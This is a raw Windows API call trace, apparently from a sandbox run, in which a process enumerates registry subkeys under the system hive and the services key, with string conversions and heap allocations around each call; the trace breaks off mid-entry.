[0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.201] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0214.201] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.201] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.202] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.202] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0214.202] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.203] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0214.203] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.203] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.203] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0214.203] RegCloseKey (hKey=0x148) returned 0x0 [0214.204] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.204] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.204] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.204] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0214.204] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.205] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.205] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0214.205] RegCloseKey (hKey=0x14c) returned 0x0 [0214.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.205] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bb0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0214.205] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.205] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bb0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.206] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0214.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, 